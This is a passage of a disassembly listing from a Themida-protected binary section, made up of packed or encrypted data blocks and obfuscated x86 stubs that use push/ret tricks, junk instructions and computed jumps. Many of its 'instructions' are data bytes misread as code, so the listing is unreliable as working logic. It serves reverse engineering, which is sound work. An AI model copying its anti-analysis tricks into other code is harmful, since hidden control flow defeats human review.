		dd 2FFC11F6h, 27E41DDBh, 12315AACh, 0CA7CD1FBh,	0A05FD596h
		dd 718602F1h, 3A89DD0Eh, 1A85CEC9h, 0D7B17702h,	611B2F96h
		dd 15687592h, 12C3D621h, 0E29211B6h, 1BE08B9Fh,	0B0A21352h
		dd 441600F6h, 373ADC03h, 0AF0A1h, 0AB5D7200h, 17D107F6h
		dd 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h,	0A21340FAh
		dd 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 0E47300h, 0D7711DDEh
		dd 4C065C23h, 0FBB5A617h, 75CFCA6h, 0E4F7464Dh,	455DFC87h
		dd 0CF817C8h, 0C61C6958h, 6A02630Ch, 460h, 833473Eh, 20CB225Ah
		dd 1DDDF5C9h, 573810FCh, 0CF1C93EBh, 17C2AE95h,	13C5196Ah
		dd 74FF703Fh, 0BA278E5h, 38EAE370h, 4390436Ch, 0BA27930h
		dd 9D75309Fh, 0C4A98037h, 3EB26h, 375E7A00h, 0A917C845h
		dd 17C84491h, 1C93EB57h, 0D84C75CFh, 5C5A4A1Dh,	0DC00729Ch
		dd 3E4BE1E0h, 0C000000Ah, 2D80D587h, 0C134611Bh, 3885DA8Ch
		dd 0C8356A1Ch, 0B98BD892h, 5A1446C9h, 0E7A1B805h, 61134BBAh
		dd 0D892C134h, 2DDA298Bh, 1DDE020Ah, 5CFDAD4Bh,	0E3464D07h
		dd 49B8077Fh, 0AE5C6315h, 816916EDh, 0D91DDDF5h, 93BADD2Ah
		dd 0EB9B11B2h, 0EBC2B2C2h, 0CA934D7Eh, 88D9289Bh, 3E248DCEh
		dd 3BAFEA37h, 398D44C6h, 97E4DB87h, 11B2E3F8h, 0EE5B15Dh
		dd 0EFB06A5Fh, 94876714h, 8EDB17C8h, 0ADFC833Dh, 3AE8E799h
		dd 3F2F4566h, 16D00170h, 33FF7E49h, 381B0B9Dh, 8201B3ABh
		dd 31EBDFD4h, 41B0E492h, 0BCE59FB4h, 1C691AE9h,	0C57110C2h
		dd 9D325FF2h, 4B06F60Bh, 0D66183E4h, 0D035764Ah, 0C0CF1C79h
		dd 950B9C91h, 0C516BDE9h, 0D993C736h, 96B90CBAh, 0BF0B9C91h
		dd 24378ECFh, 5C02636Ah, 322CD928h, 97E4DF80h, 11ACB215h
		dd 0D80B7A09h, 0F39F1Eh, 58C7271h, 0FD7738E4h, 3BE99B11h
		dd 3635E82Ch, 9389Eh, 0F3A5BA00h, 3FF94F9Eh, 0F8AAA312h
		dd 50025AABh, 0E6A0B203h, 38FBCBB9h, 0CA3B6822h, 3588DD97h
		dd 0D3226F21h, 1B99C680h, 31C3BC8h, 9F391DDEh, 621A48EBh
		dd 0F610E08Bh, 0A3521DDDh, 0CAAAF3ADh, 0F8C2AFCBh, 0F0A48430h
		dd 0CB037201h, 5C6D5819h, 0C900EDA2h, 0FC51A00Fh, 0D697434Ah
		dd 0A7916EBDh, 3B3338CCh, 731ACC02h, 0DFD29BC7h, 47B40B73h
		dd 17C8DCE3h, 36C53CE8h, 9D7AA6C9h, 9EB13E0Bh, 0B70B9D7Ah
		dd 0F4BD69C7h, 0ACD07EDFh, 0F9B3A855h, 80832CDAh, 0ADAAF5F3h
		dd 6A641111h, 4BC76A15h, 0DE8E058Dh, 3E5F0BB2h,	0DC704636h
		dd 8E82B61h, 883F389h, 0D2050000h, 4E827320h, 0D7EEBF94h
		dd 477D7025h, 0DDEDC095h, 36FE6E23h, 0F0A55F73h, 3D12CCFDh
		dd 0EFA45670h, 3E13CDFEh, 0D1600B5Eh, 841DDE03h, 75C3EEAh
		dd 0E4F7464Dh, 9C3BA32Ah, 45FF5401h, 0B4147A10h, 0C505B883h
		dd 5D000001h, 0CF303D5Ah, 8FEB8EF9h, 0BA6A17C8h, 9DD279D7h
		dd 0D71DDD4h, 441F49B6h, 7C281DD9h, 0E4630A55h,	677B11B8h
		dd 83D726ADh, 861DCAC9h, 68D7DBEBh, 146FF5CDh, 895EBE93h
		dd 0A2000001h, 464D075Ch, 0D41A1AF5h, 4F97D6ABh, 43DF23h
		dd 87D9F9EAh, 4C18C6CDh, 1AA6477h, 9E15CF04h, 973806E1h
		dd 5B043090h, 0C3BBA70Ah, 4E797FECh, 0FEEE1DD9h, 7253307Fh
		dd 0B20D8BD5h, 2C3FC8E9h, 0A311B8B4h, 3BA1712Ch, 2ABE9345h
		dd 27h,	621A487Eh, 45E2E08Bh, 0E9951DD8h, 0F1EC99EAh, 0C992403Fh
		dd 0B84557FEh, 30C97811h, 93B7CC52h, 0EBBDBEh, 5C050000h
		dd 0EEB7AC07h, 0E384427Bh, 78174BCFh, 8CF687CAh, 0BEE16E47h
		dd 0AC9EEB92h, 4D7ECBF2h, 0C65F1C93h, 0B9E25795h, 0F01D2F12h
		dd 0DA094A62h, 0A0B30291h, 335A1445h, 3986DB87h, 17C94E4Dh
		dd 451AD407h, 3786FE64h, 0D22539C8h, 1BC7C680h,	0D19A4847h
		dd 0DBCBE1F6h, 2D84701Dh, 0C22D8AC0h, 11B660AFh, 23AAF6A6h
		dd 99CD7FD6h, 4C7EEBD8h, 0A726E0F1h, 9FAA7FBh, 0EEAF617Ch
		dd 1966C317h, 11B66176h, 85632FDFh, 0DC024CB3h,	0F6DC74F7h
		dd 78000006h, 5F8AD5Fh,	794C19D3h, 10DDB264h, 604D02B4h
		dd 91E3B06Ah, 32ECDEA1h, 7F39905Dh, 39EBE3D2h, 904A996Ch
		dd 0E592E1C3h, 1DDE0552h, 5CB56503h, 1B3AB06h, 3180D482h
		dd 0ACD38DC4h, 297D54EFh, 0BAE6BE46h, 0B23FB4F1h, 40C5E6A0h
		dd 0AF04510Bh, 46AB39D4h, 590201AAh, 0AA075C11h, 0C8453A5Dh
		dd 0FAB4AC17h, 0B5DC8874h, 2AA7368h, 27B3837Dh,	621A471Bh
		dd 40h,	24DEF27Fh, 0FAB0F19Dh, 1539E047h, 82F18271h, 0D225DFF3h
		dd 17C844BFh, 42C5E696h, 1DDDF5E8h, 75572FDFh, 0BBF10E83h
		dd 0A8E81CCEh, 68D6DB84h, 0F9529D14h, 0D017C869h, 334E6424h
		dd 52000000h, 0E2531A48h, 0BF7969CCh, 0F82F12C0h, 0C9386CDAh
		dd 0D933883Eh, 0D8F7A71Dh, 0B904E78Bh, 55108F11h, 0FDEA68Ch
		dd 0C9344264h, 5401ED17h, 0E118h, 0AB5A7000h, 3FB2FBB5h
		dd 65CBC813h, 8140E2EDh, 0A17E11E4h, 86D717C8h,	4CFA9953h
		dd 40F83D18h, 0C5CA6945h, 7BD32291h, 531CCAC9h,	0CC2B0370h
		dd 0EC981DDEh, 7A097A09h, 0B36B6A0Dh, 0C83BEB11h, 11B36AA9h
		dd 0DEF3C0ACh, 0B0F19D24h, 1B05640h, 92048A68h,	60F5BE98h
		dd 4D000000h, 8B621A48h, 0DDF609E0h, 0AC9E4B1Dh, 7E1FCBF2h
		dd 41AB06F6h, 6702B157h, 0A1B03BACh, 0B411B294h, 95FBA7C8h
		dd 0ABBE9967h, 0A530D3Eh, 2E92h, 0A95AD600h, 0C8453B5Eh
		dd 416A1A17h, 3FA82B0h,	0DDF59278h, 3A351Dh, 1BA86571h
		dd 0AB1590C4h, 0DD9847CDh, 99949F05h, 288EBEh, 5AD20000h
		dd 0AD5AB7ABh, 17C8448Ah, 0E687DBCBh, 0C8611FE1h, 46B30A17h
		dd 86345B15h, 459DF8CBh, 680957BDh, 0FFFEEF14h,	1A486CFFh
		dd 0DCE08B62h, 8F1DDDF5h, 0D17DE0DFh, 40A956ADh, 1817C845h
		dd 0F4BD7769h, 47B78580h, 2070FF6Ch, 39E50B9Dh,	2F79875Eh
		dd 5E0B5C63h, 0BC47B668h, 0B9CEA9Dh, 0EA3CCB8h,	0AA655C20h
		dd 0B3952910h, 0B1125BD8h, 0B201C246h, 0D522B111h, 586A0C2h
		dd 40AFE393h, 0B0E59FB1h, 0E29CAE3Bh, 836E2FDBh, 0AB58A7DFh
		dd 0B9C514Bh, 0D8948D88h, 24C18051h, 0DAF48170h, 0F9887B28h
		dd 864092E5h, 88075B07h, 0BEC161CBh, 0FF537CFBh, 8FF7695Eh
		dd 344F9797h, 1F6DFD10h, 0FF6B75Dh, 604D02BCh, 0AF12B16Bh
		dd 7504FB83h, 1141AE60h, 0E18A3857h, 80B95E2h, 0B05C6D5Ah
		dd 0D58FC411h, 0B06A5FAEh, 2235C211h, 336139F4h, 0E67F1043h
		dd 530E85D0h, 0A754B1A2h, 6139F388h, 7E7521CDh,	7B24D6EFh
		dd 0D183DB2Ah, 0B36D63B2h, 924B7A0Ch, 6C39EBE3h, 0FC9BE897h
		dd 596139F2h, 0CD0104ADh, 555A41Bh, 0F71224Bh, 0A9445F6Bh
		dd 0CF21E2FCh, 0C36B5087h, 0D09AC79Bh, 8DFB3D5Ah, 92983A44h
		dd 0FE76E8C9h, 7753307Fh, 21DBEEA6h, 6291F4A2h,	6C590287h
		dd 9716BD77h, 96C88924h, 0F44B1DEh, 9EE5255h, 0A75067Dh
		dd 17C8A867h, 0EE95477Fh, 4091E240h, 1291DA86h
		dd 0F3AD9E57h, 46B34493h, 87335A14h, 0C8A81D3Ch, 234C3817h
		dd 0CDF4AEA2h, 0E89C817Eh, 80806C61h, 9949E8DFh, 503F17C8h
		dd 2EE8E095h, 883A9461h, 9898BE09h, 38CB17C8h, 0C0E193C9h
		dd 83DB8A23h, 693384D1h, 0A817C8B9h, 837FB338h,	0FF6EA0B8h
		dd 0B441FFFFh, 5C46D798h, 2E289ED7h, 5C713962h,	0A5184D07h
		dd 6AF9FCB6h, 0A4451BADh, 0FCA51709h, 0C520DA09h, 0C58039AAh
		dd 0FC7CDC96h, 0B8833596h, 510B3FAEh, 0C1DB8432h, 47h
		dd 621A4809h, 0E08BDC8Bh, 17C84551h, 70571804h,	1DDDF59Bh
		dd 0F9633E2Eh, 0A33E051Eh, 0B50C70DEh, 0C844E14Ah, 419BE817h
		dd 7731228Fh, 9EF6AA58h, 3443B03Fh, 440B9CE3h, 3DD1DA84h
		dd 23D35124h, 28427Ah, 48460000h, 0E08B621Ah, 1DDDF60Bh
		dd 69D3CEBEh, 0D68F0089h, 905F270Bh, 0C8460EE3h, 0F4CBBB17h
		dd 0FDBD6817h, 812A3C42h, 0AB5A7119h, 0D48201B3h, 6F293A8Bh
		dd 18D20150h, 84F8664Bh, 21BF522Dh, 0D27E72C0h,	33CD3A89h
		dd 341DD8BDh, 8BFA4948h, 48F69D57h, 918DA027h, 8B4211B8h
		dd 669A00D2h, 408BBE93h, 0DF000000h, 54531A48h,	40FA4FEDh
		dd 0B020D405h, 38570943h, 9AE7D68Ah, 0F5CE8F49h, 2CDEF786h
		dd 4FB8F9A5h, 1DD881D1h, 4C0655A6h, 0C6CD9945h,	0B880D279h
		dd 0AB46FD11h, 937B51D7h, 0E240BEh, 5C880000h, 3A5DAA07h
		dd 1B17C845h, 4998376Bh, 11605F19h, 4CB908C2h, 0A3605F11h
		dd 2C3E50A1h, 93DC883Eh, 0E8A2B100h, 2BF44CBBh,	4B8017C9h
		dd 0E2F1C491h, 0F0BED928h, 38214DDFh, 60AFE48Dh, 0B3842AA3h
		dd 8ECF0B77h, 78473F23h, 9F1ED809h, 92AA90F3h, 93D63B4Bh
		dd 148EF9CAh, 931DD8A2h, 3A590B42h, 268BD88Ch, 6D4438h
		dd 754E0FC9h, 3A8B0906h, 26B18E5Ch, 0B3678285h,	2EDE17CBh
		dd 0B4C330BFh, 0A10BA641h, 0AA57ACF5h, 6451FEB8h, 6F64116Eh
		dd 95600EB5h, 0BA64202h, 0F9EFA353h, 0E2126B31h, 0BA5EF675h
		dd 3C000001h, 0D1247123h, 1D90C57Fh, 0DC297628h, 3481CE80h
		dd 3D2F641Eh, 0E6A0B275h, 5B154CB9h, 0ED9FB706h, 5C1645B8h
		dd 0A956A507h, 1DDE0A86h, 5C8971CFh, 0A6174C06h, 0FCA6FBB5h
		dd 0FDB7AB5Ah, 44D67906h, 8F7F17C8h, 77FE3CEh, 45BD4BB8h
		dd 0CABA1DD8h, 44D578C3h, 43FA11B8h, 0B752D8AAh, 0DA43BE93h
		dd 0E0000000h, 0E2A85523h, 0A3CC14B8h, 4D075CC7h, 9D20776h
		dd 0D9A5FB20h, 80217546h, 8730453h, 17C8DF69h, 99B300ECh
		dd 713AE8E7h, 0FD843E94h, 0C8E366B2h, 3BD0E17h,	0B26C5F4Eh
		dd 0E698AE3Bh, 87AB0EC5h, 0CDD3B0FFh, 9A346A59h, 50D20F49h
		dd 7A26F986h, 3B25D231h, 6C1DD8D4h, 8FE0D380h, 0B8AE55E4h
		dd 4B140011h, 2D84F866h, 0CB62C8C2h, 0E6314E17h, 0D709372Eh
		dd 4430446Dh, 10CA006Dh, 0A6607243h, 13649A50h,	2DC3C6E2h
		dd 0C9h, 2D62144Bh, 81CE88C0h, 3A671934h, 0B2DF91CBh, 550F43h
		dd 91C1442Ch, 263B8AD7h, 90C6376Ch, 0F44B1DEh, 4D9C0055h
		dd 0DE0B8FA2h, 8028C61Dh, 0B6AB065Ch, 0DC29D5FCh, 18C6CD87h
		dd 0B5A6174Ch, 0A655A6FBh, 0C8453659h, 2E6F1F17h, 4D075C7Ch
		dd 0A8489976h, 0A7190FDDh, 4B80CD06h, 7521DBF0h, 217ECD20h
		dd 0C90AC3D6h, 792B2317h, 0D6C6AC5Ah, 0F3E8D58Ah, 0DC884298h
		dd 2E086AB5h, 0BB3047FAh, 0A6607322h, 5E0D0AF9h, 0C5CB2747h
		dd 0B506A85Ch, 481C55B0h, 0D071170Dh, 1D3E072Eh, 0DAF9B3A8h
		dd 73DA8E89h, 0D4461A3h, 0B96B6164h, 0BB766D1Ah, 721FD90Ah
		dd 0F7965083h, 0C61h, 0C5858200h, 0BB259282h, 0EBC2A8C9h
		dd 51035CBFh, 36F0E332h, 62144A97h, 1BB0E5Bh, 651F3382h
		dd 1BB0F5Eh, 67193382h,	12C41968h, 702A1E6Bh, 89579451h
		dd 4C781E7h, 83000000h,	3C8704EFh, 14895C24h, 0E0895024h
		dd 405h, 42D00h, 4870000h, 4895C24h, 0E6895624h, 4C681h
		dd 0EE810000h, 4, 5C243487h, 83243489h,	348904ECh, 0C85BE24h
		dd 0CE817E70h, 4B5254FEh, 0CE81D6F7h, 2B613C44h, 0CB6EE81h
		dd 0F089A5D8h, 348B545Eh, 4C48124h, 50000000h, 4A240481h
		db 9, 0FDh
word_5A7CDA	dw 8F7Eh		; DATA XREF: Themida_:0054C1BCo
; ---------------------------------------------------------------------------
		inc	esi
		or	[ebx-45h], dl
		dec	edx
		or	ebp, edi
		jle	short loc_5A7D0E
		pop	esi
		or	[ebx-75h], bl
		xor	al, 24h
		push	esi
		mov	esi, esp
		add	esi, 4		; CODE XREF: Themida_:005A7D10j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		popf


loc_5A7D0E:				; CODE XREF: Themida_:005A7CE3j
		jb	short loc_5A7D21
		jb	short near ptr loc_5A7CEE+1
		loope	loc_5A7D68
		xchg	eax, ebp
		mov	eax, 615C7FFh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		adc	cl, [ebx-7]


loc_5A7D21:				; CODE XREF: Themida_:loc_5A7D0Ej
		dec	esp
		wait
		mov	ah, 33h
		pop	ebx
		push	0FF10E842h
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------
		jge	short loc_5A7D40
		clc
		db	2Eh
		pop	edx
		inc	eax
		retf
; ---------------------------------------------------------------------------
		db 0EAh
; ---------------------------------------------------------------------------
		jmp	fword ptr [eax]
; ---------------------------------------------------------------------------
		dw 0D66Ch
		dd 3FE7883h, 1F6C09D9h
; ---------------------------------------------------------------------------


loc_5A7D40:				; CODE XREF: Themida_:005A7D2Cj
		cwde
		add	al, bl
		db	3Eh
		out	dx, eax
		adc	edi, [ebp-21h]
		jbe	short near ptr loc_5A7D70+2
		and	esi, [ebx+20E275BEh]
		adc	bx, [ebx+eax*8+4Fh]
		outsd
		or	esp, eax
		xchg	cl, [esi-73h]
		lea	edi, [ecx+6A0615C9h]
		add	[edi-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_5A7D68:				; CODE XREF: Themida_:005A7D12j
		and	[edi-3Dh], bl
		pop	edi
		mov	[esp+4], edi


loc_5A7D70:				; CODE XREF: Themida_:005A7D48j
		add	dword ptr [esp+4], 18h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		shl	byte ptr [eax+9], 1
		push	ebp
		and	cl, [ecx+1009F58Dh]
		push	es
		sub	[ebp+6102961h],	edx
		mov	dword ptr [ebp+6102319h], 6764h
		push	0
		push	esi
		call	sub_5A7DA1
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7DA1	proc near		; CODE XREF: Themida_:005A7D99p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5A7DA1	endp

; ---------------------------------------------------------------------------
		db 0ABh, 1Dh, 0F6h
		dd 6D59FB0Eh, 1FD812Bh,	100CB1BDh, 6D9D8B06h, 0C7061021h
		dd 1022C185h, 6, 298D8900h, 0FF06101Dh,	1004E9B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0DB60B255h, 0BE9h, 53419000h, 0E58D8735h, 0C6D6F655h
		dd 2DB995FFh, 6E90610h,	0AC000000h, 94EC37E7h, 0FF006AE9h
		dd 1031C995h
; ---------------------------------------------------------------------------


loc_5A7E24:				; DATA XREF: Themida_:0054D194o
		push	es
		mov	eax, eax
		jmp	short loc_5A7E41
; ---------------------------------------------------------------------------
		db 73h,	3, 0ECh
		dd 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0C789C0D3h,	0DDCE1A36h
		db 65h
; ---------------------------------------------------------------------------


loc_5A7E41:				; CODE XREF: Themida_:005A7E27j
		lea	ecx, [ebp+615CA7Ah]
		pusha
		movsx	edx, cx
		popa
		mov	[ebp+61009F5h],	ecx
		cld
		mov	dword ptr [ebp+6102319h], 5A04h
		mov	dword ptr [ebp+61022C1h], 0
		push	0
		push	ebp
		call	sub_5A7E72
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7E72	proc near		; CODE XREF: Themida_:005A7E6Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5A7E72	endp

; ---------------------------------------------------------------------------
		dw 0E9E6h
; ---------------------------------------------------------------------------
		ficomp	dword ptr [ebp-38h]
		adc	ebx, 57B85264h
		push	dword ptr [ebp+6102ED5h]
		push	0
		push	ebp
		call	sub_5A7E9E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7E9E	proc near		; CODE XREF: Themida_:005A7E96p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5A7E9E	endp

; ---------------------------------------------------------------------------
		dw 43Bh
; ---------------------------------------------------------------------------
		mov	[ebp+6103365h],	edx
		call	dword ptr [ebp+6102DB9h]
		push	0
		push	ecx
		call	sub_5A7EC7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A7EC7	proc near		; CODE XREF: Themida_:005A7EBFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5A7EC7	endp

; ---------------------------------------------------------------------------
		mov	eax, edi
		and	eax, 0D78B6698h
		push	0
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5A7F06
; ---------------------------------------------------------------------------
		dw 0E6F5h
		dd 0B1F8051Ch, 0C806E0BEh, 0C5254FC7h, 14A87921h, 0DAED976Bh
		dd 7006D8D9h
		db 5, 0F4h
; ---------------------------------------------------------------------------


loc_5A7F06:				; CODE XREF: Themida_:005A7EE8j
		lea	ecx, [ebp+615CB00h]
		mov	[ebp+61013F1h],	edx
		mov	[ebp+61009F5h],	ecx
		push	edx
		jge	loc_5A7F25
		mov	[ebp+6102065h],	esi


loc_5A7F25:				; CODE XREF: Themida_:005A7F19j
		pop	esi
		xor	esi, [ebp+6100869h]
		mov	dword ptr [ebp+6102319h], 7124h
		sub	[ebp+61014E5h],	eax
		mov	dword ptr [ebp+61022C1h], 0
		add	[ebp+6102F35h],	eax
		push	dword ptr [ebp+61011EDh]
		mov	[ebp+6100511h],	edx
		call	dword ptr [ebp+6102DB9h]
		mov	edx, [ebp+6101469h]
		push	0
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5A7FD8
; ---------------------------------------------------------------------------
		sbb	eax, 3991B900h
		cmpsd
		aad	41h
		pop	esi
		sub	eax, 0B435EED1h
		and	al, 4Ch
		lea	ecx, [esp+eax+51h]
		mov	ch, 9Fh
		retn	734Ch
; ---------------------------------------------------------------------------
		retn	69D8h
; ---------------------------------------------------------------------------
		dd 0F5C9469Ah, 0EE16B46Fh, 52D6FAACh, 9EB0C849h, 765F78E5h
		dd 0B407040Ah, 0E3B157CEh, 0D6F3EA3Dh, 6C1DD919h, 8763A9E8h
		dd 83F4191Bh, 0F4346E2Ch, 0EB9976BCh, 36E16F68h, 70BC2E8Ch
		dd 1C0242BBh, 9AF8C881h, 0F008036Fh, 7A39BAF9h
; ---------------------------------------------------------------------------


loc_5A7FD8:				; CODE XREF: Themida_:005A7F6Ej
		jmp	loc_5A7FF1
; ---------------------------------------------------------------------------
		db 0AFh, 54h, 48h
		dd 12h,	3 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5A7FF1:				; CODE XREF: Themida_:loc_5A7FD8j
		jmp	loc_5A855B
; ---------------------------------------------------------------------------
		dw 7A7h
		dd 0DB9108C4h, 0FCB128A4h, 0DB9007C3h, 0F9AB2A9Eh, 0FC08FEBAh
		dd 1F9BDA8Eh, 0F8B4F598h, 1692CD81h, 0F7B3E89Fh, 0C1812814h
		dd 256BD9B7h, 7932FCC8h, 3C441F3Bh, 4E00F7Ch, 98D77910h
		dd 0CD7F3A24h, 4902B98Eh, 0C2696014h, 4A02998Dh, 243C330Ah
		dd 0B59170CBh, 0E924CAC1h, 0AFE69E3Dh, 5EF586C3h, 69089772h
		dd 10EA1FC8h, 0B873A649h, 6DCCD00Ah, 75526EEAh,	59943AC1h
		dd 0DAB056E5h, 516F232h, 16C25245h, 6EA463Ah, 89CA7B1Ah
		dd 0D9780B9Dh, 0C377B258h, 8DF9F4D9h, 26D53666h, 0ACE18A51h
		dd 9914B1F8h, 9C1B6DCCh, 510DE005h, 82ED336Ah, 5F000000h
		dd 50447932h, 0B90900DEh, 5D6DCC7Ch, 813FEC01h,	9A6DCC7Ch
		dd 0D1C8BCF1h, 9930E41Bh, 6BC7BBF4h, 6C50EFD0h,	8347DEDDh
		dd 7C14AE5Dh, 84296DCCh, 23DB574Bh, 0A46D3247h,	84336B35h
		dd 0Eh,	1DA5647Ah, 0F9923388h, 0D3EF2EE2h, 7A322EF6h, 90384F43h
		dd 0D07D8B50h, 4A26773Ah, 4F8C3F56h, 18B708A3h,	223C7319h
		dd 0CAB6F597h, 4ECD9166h, 0F31EC595h, 0CCCE8A38h, 0D2EE6A6Dh
		dd 0AA1E421Eh, 3F7E321Ch, 0EA58532Dh, 0A6DCC7Ch, 0B7F4970Eh
		dd 3FE5E4A2h, 0D93F1C08h, 9032D907h, 746DCC7Ch,	7CB111F8h
		dd 0D9556DCCh, 46801F04h, 0B794CF73h, 550948FCh, 8748826Bh
		dd 0C60D9617h, 4C812AB1h, 538C4158h, 517AF69Fh,	0E08585D2h
		dd 0D4678459h, 9005B83Dh, 77E5336Ah, 27000000h,	533F7E32h
		dd 7A548D34h, 0D9CD0EBFh, 0EB7E805Dh, 0EC21CA91h, 8C952C0Fh
		dd 962599D8h, 74CEBDF2h, 906DCC7Ch, 0C5C4B094h,	500BE522h
		dd 0E51EC39Bh, 3C113531h, 0CB6A194Ah, 6B33F32Eh, 54D333h
		dd 6EED0000h, 0AC887CB9h, 7E32F5CFh, 0A1C5FCA4h, 0C8527BF5h
		dd 0D85697F6h, 0C46AF106h, 0C4767789h, 11809B59h, 981313E8h
		dd 1552F5C4h, 53E80561h, 94D375BCh, 7A329218h, 0BF084F43h
		dd 806DCC7Ch, 6C45A03Fh, 4C336B35h, 0Ah, 2C327972h, 5F54FD25h
		dd 7B32C28Ah, 90374E42h, 433DA75Bh, 3144220Ah, 0E7F89D67h
		dd 51566CD0h, 3211E60Ah, 99DB9293h, 918DE9CAh, 3BEFD392h
		dd 0F20CCFE6h, 0FC0BD237h, 0BD6C9267h, 943C7F05h, 0B42EAE1h
		dd 22371B17h, 79100460h, 9A219DD2h, 0A1C8BCF1h,	943C7F23h
		dd 0E6E07F20h, 7FB111F8h, 0D955943Ch, 7FBE0407h, 0DA56943Ch
		dd 588D36FDh, 0D60DB386h, 0AD31462Ah, 5440752Eh, 6FAC5FDAh
		dd 2D712B8h, 0DC29239h,	0F1DAF4D0h, 0DD294336h,	0B472876Ah
		dd 42DC4D7h, 0E7B2265Bh, 397A6826h, 14606h, 4D3F800h, 0D11E5366h
		dd 0B6F99D3Dh, 0A1C5B1A3h, 96D700CCh, 78B52D4h,	0DD805DE1h
		dd 40EB05D6h, 67FC0F0Bh, 0F4937FDBh, 79CB0D4Bh,	8000DC94h
		dd 0FA618A64h, 9DD45DCFh, 6CEB7388h, 340E3B3h, 1D2F130Fh
		dd 0F8ACE99Eh, 5F12EE1h, 76284521h, 8E7DA85Fh, 9423AB34h
		dd 0D916B9D0h, 702DD9FDh, 0B66DB44Bh, 68F3CD81h, 0AC7388C1h
		dd 397B5F61h, 2C610AD1h, 52994Fh, 5CF30000h, 49401AC1h
		dd 0EDCC7CD9h, 267521FDh, 0EDCC7C9Ch, 6CE38241h, 0FF3CEF51h
		dd 37540613h, 0BFC2A90Bh, 0FEADBFA3h, 6DCC8064h, 0A1CAA480h
		db 7Ah,	5Fh, 0F0h
byte_5A8363	db 39h			; DATA XREF: Themida_:0054DDE4o
		dd 6DCCD489h, 85CCF16Dh, 63EEDB00h, 0F8CFC97h, 5943FBD0h
		dd 0F429E2h, 7C9A4724h,	0F2000000h, 4C1EBD5Ch, 0FC0C3C5Dh
		dd 0A24ECA67h, 93477C23h, 3E7F32A9h, 0C4F9B229h, 846D5ED0h
		dd 82CDCF61h, 7AC5BE9Bh, 0F19423DEh, 5E934C0Fh,	0A99AEB2h
		dd 0EC21CA6Bh, 0D7041370h, 0E50E0605h, 15A49E19h, 0E4403473h
		dd 6B171307h, 927EB36Ch, 0F8D27100h, 0EAA51D3h,	6BEADD7Ah
		dd 0FD607DB6h, 500BE5F6h, 0A6B35F9Ah, 4C4BBF14h, 1B3014DAh
		dd 0D4E4645h, 0F86942Fh, 0D691D5Eh, 5CD775E9h, 0BDD83BDh
		dd 4C381C57h, 0CF20CE8h, 8B60974Dh, 0F64790A0h,	40343067h
		dd 7AB96BEEh, 6CDAA86h,	25B4285Dh, 0E5D497Eh, 0E85BB696h
		dd 0F9DD744Bh, 1CED4ED4h, 407CD56Dh, 8353188h, 0A2B74BA9h
		dd 813D7219h, 0B281AE9Fh, 0C5B09BDAh, 0A4742BA8h, 7195C2FFh
		dd 0E4C1EAC7h, 16A5B79Bh, 0B0E79D6Dh, 0D0C7B794h, 4D0CDE1Bh
		dd 0B1B56196h, 49F8EA9Ch, 9FD48BAAh, 0BEF3AC2Bh, 2EC1D2h
		dd 0D73B0000h, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh,	0CD9F6DCCh
		dd 0CC7C64DEh, 0C0A4806Dh, 98235DABh, 2F641BF3h, 0D6035F13h
		dd 3ACEBE85h, 774D2AB0h, 493D8032h, 0B0649952h,	463A7519h
		dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
		dd 55417830h, 8D968CFh,	3C890000h, 15226824h, 3C890000h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 56240489h
		dd 4F8BB850h, 0E8C14322h, 46F12D05h, 0C689FC03h, 5EF78958h
		dd 4EC81h, 24890000h, 24048324h, 0B9515804h, 8,	0BA52C101h
		dd 0
; ---------------------------------------------------------------------------
		add	edx, ecx
		mov	[edx], edi
		pop	edx
		pop	ecx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 77h
		dd 0D065F126h
		db 1, 0EAh, 0CFh
; ---------------------------------------------------------------------------


loc_5A855B:				; CODE XREF: Themida_:loc_5A7FF1j
		mov	eax, 615D066h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 28928976h, 1DD14C97h, 6110D04Eh, 134C82E1h, 217D5B67h
		dd 7DFDEBE5h, 2F302FE7h, 21E51896h, 31A665Dh, 7541C2Ch
		dd 6C247D40h, 0FC61FE6h, 93A9AB1h, 2B1F05Ch, 5342BE6h
		dd 42713E15h, 0BF398C0h, 3C3EC2BBh, 33C78F2h, 2A68B17Eh
